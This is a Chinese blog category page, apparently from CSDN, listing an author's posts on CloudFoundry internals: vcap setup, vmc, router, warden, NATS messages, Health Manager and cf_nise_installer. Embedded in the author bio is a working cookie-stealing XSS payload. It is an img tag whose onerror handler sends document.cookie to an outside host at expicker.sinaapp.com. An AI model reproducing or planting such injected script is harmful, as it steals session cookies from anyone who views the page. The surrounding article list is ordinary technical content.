CloudFoundry
文章平均质量分 83
真宽
熟练Ruby/Rails编程熟悉PaaS平台之CloudFoundry OpenShiftappscale热爱开源同时关注OpenStack等云计算平台<img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'>
展开
-
从CloudFoundry源代码看vcap安装过程
本文仅关注dev_setup子目录,通过阅读本文及源代码,你能够大致了解运用dev_setup是如何实现对CF的布暑及启动的。bin/vcap_dev_setupparse options, sudo, bundle clear, ruby, gem, proxy, wget, config,chef, rake, git (准备最基本环境。可手动安装,不碍事)----lib/原创 2012-10-21 22:20:24 · 1088 阅读 · 0 评论 -
Cloud Foundry参赛博文——CloudFoundry源代码学习笔记之vmc
vmc版本升级变化较大,且有不兼容现象。本博文仅适用于 vmc 0.4.* 之前版本,否则参考价值不大。本文不再更新。vmc/|-- bin/| |__ vmc|-- caldecott_helper/| |__ server.rb|-- config/| |-- micro/| |__ clients.yml |-- lib/|-- Rakefile|__原创 2012-10-14 16:39:34 · 1916 阅读 · 0 评论 -
CloudFoundry源代码学习笔记之router
所有希望进入CF的外部请求,都要经过router的分析处理,配合nginx完成各种情况下的转发工作。- config.yml 如何与外界(nginx, NATS)通信?答: 通过 /tmp/router.sock, 4222端口- ext/ nginx/ 对nginx的扩展有两文件 1. tablesave.lua --> 路由表的 '原创 2012-10-14 16:39:46 · 1690 阅读 · 0 评论 -
在OpenStack上使用dev_setup部署CloudFoundry
在OpenStack上部署CloudFoundry,和其它环境没有根本区别,有的可能是方便一点。这里以我们的线上环境部署为例,目前部署使用到了4台虚拟机,分别如下:Instance Name IP 地址 Rolerest 10.0.0.14 (132.126.35.165) restdea0原创 2013-04-01 10:27:27 · 1673 阅读 · 0 评论 -
CloudFoundry 学习之 warden 的安装
说明:warden代码更新比较快,安装过程中如有和本文描述不符,请以实际为准。本文不再更新。warden -- 资源隔离和管理。下面我将简单说一下,如何从头开始安装。本文假设你对 Ruby 不熟悉!首先请安装 ruby, 推荐使用 rvm ...建议安装教程:https://rvm.io/rvm/install/ 请耐心点自己阅读,并安装。(因为种种原因,不保证能成功) -- PS原创 2012-10-15 15:12:25 · 2722 阅读 · 6 评论 -
理解warden(安装启动)
前面自己曾经写过一篇文章介绍在ubuntu 10.04上安装warden,最近又在ubuntu 12.04上再次安装。其实它们的安装过程都是一样的,本文与前文的区别主要在“本文将简单从源代码层面”告诉你warden是如何一步步安装,运行,进行交互的。根据官方文档https://github.com/cloudfoundry/warden/blob/master/warden/doc/g原创 2013-08-17 11:18:07 · 1896 阅读 · 0 评论 -
理解warden-基本概念及如何做资源隔离限制
在阅读本文之前,作者假设您先对warden的安装过程有所了解,最好已经在自己的机器上安装好了可以使用的warden。因此,建议先阅读http://kelby.writings.io/articles/21一,3个概念rootfs container warden warden安装后,会生成1个目录 /tmp/warden,在这下面又有3个子目录:cgroup container原创 2013-10-30 16:54:18 · 2236 阅读 · 0 评论 -
CloudFoundry组件之间通信NATS MESSAGES
Cloud Foundry是业界领先的开源PaaS平台,它的内核采用Ruby开发。设计上使用以NATS消息系统为核心的松耦合组件架构,强调以NATS消息系统为核心的松耦合组件架构所带来的弹性。NATS一个轻量级的 发布-订阅, 分布式队列消息系统,基于EventMachine开发。本文重点将列出CF系统中,都有哪些 "NATS MESSAGES",并且对其功能做简单介绍。翻译 2012-10-24 16:45:53 · 1568 阅读 · 1 评论 -
CloudFoundry源代码学习笔记之Health Manager
Health Manage是开源CloudFoundry的重要组件之一,其最终目标:智能监控,确保App运行良好,不用运维。本文将为你揭开HM神秘的面纱,作者希望你能够通过本文,减少阅读HM源代码的难度。重点部分已加星( * )- bin/ bulk_util.rb 打印测试样例 bulk 中每个droplet的基本信息 dea_tenancy.rb (与NA原创 2012-10-25 16:34:47 · 1886 阅读 · 0 评论 -
对CloudFoundry的一些提问和回答
这是的一半内容从vcap_dev邮件列表中整理出来关于CloudFoundry的一些问答,另一半内容是作者本人在实现使用中遇到的问题和解决思路。如果你在布暑/安装过程中遇到类似问题,将会很容易从这里得到答案。我整理别人遇到的问题因为下次没准我也会遇到,帮助别人的同时也是帮助自己,希望本文对您一定参考作用。怎样在一个dea节点里安装warden?怎么安装dea-ng? 能从外原创 2012-10-19 14:08:42 · 2406 阅读 · 0 评论 -
CloudFoundry源代码学习笔记之warden (一)
# warden 是一个有关资源隔离 和 资源管理 的框架由三个 Gem [ em-warden-client, warden-client, warden-protocol ] 和 一个 Ruby 项目 [ warden ] 组成## warden-protocol/ (难度系数 *)create, stop, destroy, info -- 增删查改 (所钟对的资源是原创 2012-10-16 09:43:27 · 1591 阅读 · 0 评论 -
使用cf_nise_installer安装使用CloudFoundry笔记
在学习使用CloudFoundry过程中做的一些笔记,只做稍微整理。对CF不了解的可以看看热闹,对CF了解的希望对你有用。这也是一个踩坑、添坑的过程,当然我也不能保证自己做的是完成正确,我也有可能挖坑给你,请牢记!由于各种原因,如公司规定、个人认知能力有限,说得不到位或者给你挖了坑,请谅解。项目所在:https://github.com/yudai/cf_nise_installe原创 2013-10-31 09:22:34 · 6098 阅读 · 0 评论